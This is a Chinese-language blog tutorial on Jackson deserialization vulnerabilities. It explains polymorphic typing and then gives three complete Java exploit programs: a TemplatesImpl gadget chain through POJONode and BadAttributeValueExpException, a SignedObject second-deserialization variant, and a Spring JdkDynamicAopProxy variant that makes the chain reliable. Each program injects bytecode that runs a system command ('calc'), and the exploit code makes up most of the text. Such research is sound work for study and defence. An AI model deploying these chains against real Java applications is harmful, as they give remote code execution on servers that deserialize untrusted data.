简历

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>  
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>

JacksonPolymorphicDeserialization 机制

即 Jackson 多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例。

DefaultTyping

默认情况下,即无参数的 enableDefaultTyping 是第二个设置,OBJECT_AND_NON_CONCRETE

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

eg.
Person.java

1
2
3
4
5
6
7
8
9
10
public class Person {
public int age;
public String name;
public Object object;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}

Hacker.java
1
2
3
public class Hacker {
public String skill = "hiphop";
}

JAVA_LANG_OBJECTTest.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import com.fasterxml.jackson.databind.ObjectMapper;

public class JAVA_LANG_OBJECTTest {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 20;
p.name = "jmx";
p.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();
// 设置JAVA_LANG_OBJECT
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}

NON_LANG_OBJECT.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.fasterxml.jackson.databind.ObjectMapper;

public class NON_LANG_OBJECT {
public static void main(String[] args) throws Exception{
Person person=new Person();
person.age=20;
person.name="jmx";
person.object=new Hacker();
ObjectMapper objectMapper=new ObjectMapper();
String json=objectMapper.writeValueAsString(person);
System.out.println(json);

Person res=objectMapper.readValue(json, Person.class);
System.out.println(res);
}
}

比较输出结果
1
2
3
4
5
6
{"age":20,"name":"jmx","object":["Hacker",{"skill":"hiphop"}]}
Person.age=20, Person.name=jmx, Hacker@643b1d11


{"age":20,"name":"jmx","object":{"skill":"hiphop"}}
Person.age=20, Person.name=jmx, {skill=hiphop}

可以发现enableDefaultTyping的成功反序列化出Hacker这个Object实例

其他三个一样的改法,可以自行查看区别

@JsonTypeInfo 注解

有几个参数:

1
2
3
4
5
JsonTypeInfo.Id.NONE
JsonTypeInfo.Id.CLASS
JsonTypeInfo.Id.MINIMAL_CLASS
JsonTypeInfo.Id.NAME
JsonTypeInfo.Id.CUSTOM

这里最后只有JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS可以成功指定Object,触发漏洞

eg.
修改Person类,给Object属性添加注解

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object object;

@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}

此时我们执行NON_LANG_OBJECT.java会发现Hacker被反序列化出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.fasterxml.jackson.databind.ObjectMapper;

public class NON_LANG_OBJECT {
public static void main(String[] args) throws Exception{
Person person=new Person();
person.age=20;
person.name="jmx";
person.object=new Hacker();
ObjectMapper objectMapper=new ObjectMapper();
String json=objectMapper.writeValueAsString(person);
System.out.println(json);

Person res=objectMapper.readValue(json, Person.class);
System.out.println(res);
}
}
//{"age":20,"name":"jmx","object":{"@class":"Hacker","skill":"hiphop"}}
//Person.age=20, Person.name=jmx, Hacker@cc285f4

反序列化的结论:
在 Jackson 反序列化中,若调用了 enableDefaultTyping() 函数或使用 @JsonTypeInfo 注解指定反序列化得到的类的属性为 JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS,则会调用该属性的类的构造函数和 setter 方法。

漏洞

满足下面三个条件之一即存在Jackson反序列化漏洞:

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
    这里有两个CVE,感兴趣的可以参考: https://xz.aliyun.com/t/12966

    原生的反序列化

    TemplatesImpl链

BadAttributeValueExpException的构造方法调用val.toString(),readObejct()也有toString()方法,通过反射修改val去调用POJONode.toString,它没有这个方法去父类找找找到BaseJsonNode.toString()

image.png

image.png

然后调用InternalNodeMapper.nodeToString方法
image.png
调用ObjectWriter.writeValueAsString方法
一直跟进最后发现在BeanPropertyWriter.serializeAsField方法完成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法的调用
image.png

后面就是加载动态字节码了

三个坑:

  1. jackson的版本之前的好像不行,这里用的2.13.4,也可以开个springboot环境,它会自带jackson
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.13.4.2</version>
    </dependency>
    <dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.13.4</version>
    </dependency>
    <dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-annotations</artifactId>
    <version>2.13.4</version>
    </dependency>
  2. BaseJsonNode有个writeReplace方法,它会在序列化的时候抛出一个NodeSerialization的错误,阻止我们构造payload,需要通过反射覆盖掉它或者删掉它
    image.png

  3. IDEA调试的时候走一步就弹出一个计算器,我们需要关掉调试的toString()视图
    image.png
    箭头指向的位置不要勾选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package org.example;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import com.fasterxml.jackson.databind.node.BaseJsonNode;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;
import javassist.CtMethod;
public class test1 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

SignObject链

在Templates被ban的情况下 打二次反序列化

和第一个调用过程一样,这里SignedObject的getObject方法可以进行二次反序列化
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;

public class test2 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
//doPOST(exp.toString().getBytes());
//byte[] byt=new byte[fileInputStream.available()];
//fileInputStream.read(byt);
//doPOST(byt);
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

处理JACKSON链的不稳定性

我们在BeanSerializerBase.serializeFields()方法下断点
image.png

这里循环遍历之前获取的props,依次调用它的getter方法,从图可以看出此时getOutputProperties是第一个,没问题,但是有些时候它可能不是第一个被调用的被排在了后面,就会提前报错,无法执行后面的恶意方法

这里的思路来源于ysoserial的JSON1链
有一个JdkDynamicAopProxy类,我们通过观察它invoke方法可以发现
image.png

这个内置变量advised,它是org.springframework.aop.framework.AdvisedSupport类型的,它的targetSource是被代理的接口的实例类,我们需要代理的接口方法是Templates接口的getOutputProperties方法,它也只有这一个get方法,实例类可以设置成恶意的TemplatesImpl类,它的getOutputProperties方法是漏洞点

然后就是这个操作需要 Spring AOP依赖,如果我们是Springboot环境下的话就不要操心,默认自带

当走到BeanPropertyWriter.serializeAsField方法时,我们可以发现成功代理恶意TemplatesImpl类的getOutputProperties方法
image.png
当调用这个方法时,会进入到Method.invoke()方法
image.png
一步步反射到JdkDynamicAopProxy的invoke()方法
image.png
AopUtils.invokeJoinpointUsingReflection进一步调用
image.png
先设置accessible,然后调用恶意函数,进入到TemplatesImpl.getOutputProperties方法
image.png

后面就是加载字节码了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.ProtectionDomain;
import java.util.Base64;
public class json1 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);

AdvisedSupport advisedSupport=new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor1=Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor1.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor1.newInstance(advisedSupport);
Object proxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[] {Templates.class},handler);
POJONode jsonNodes = new POJONode(proxy);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

}

调试可发现此时就一个getOutputProperties,无差别调用
image.png

参考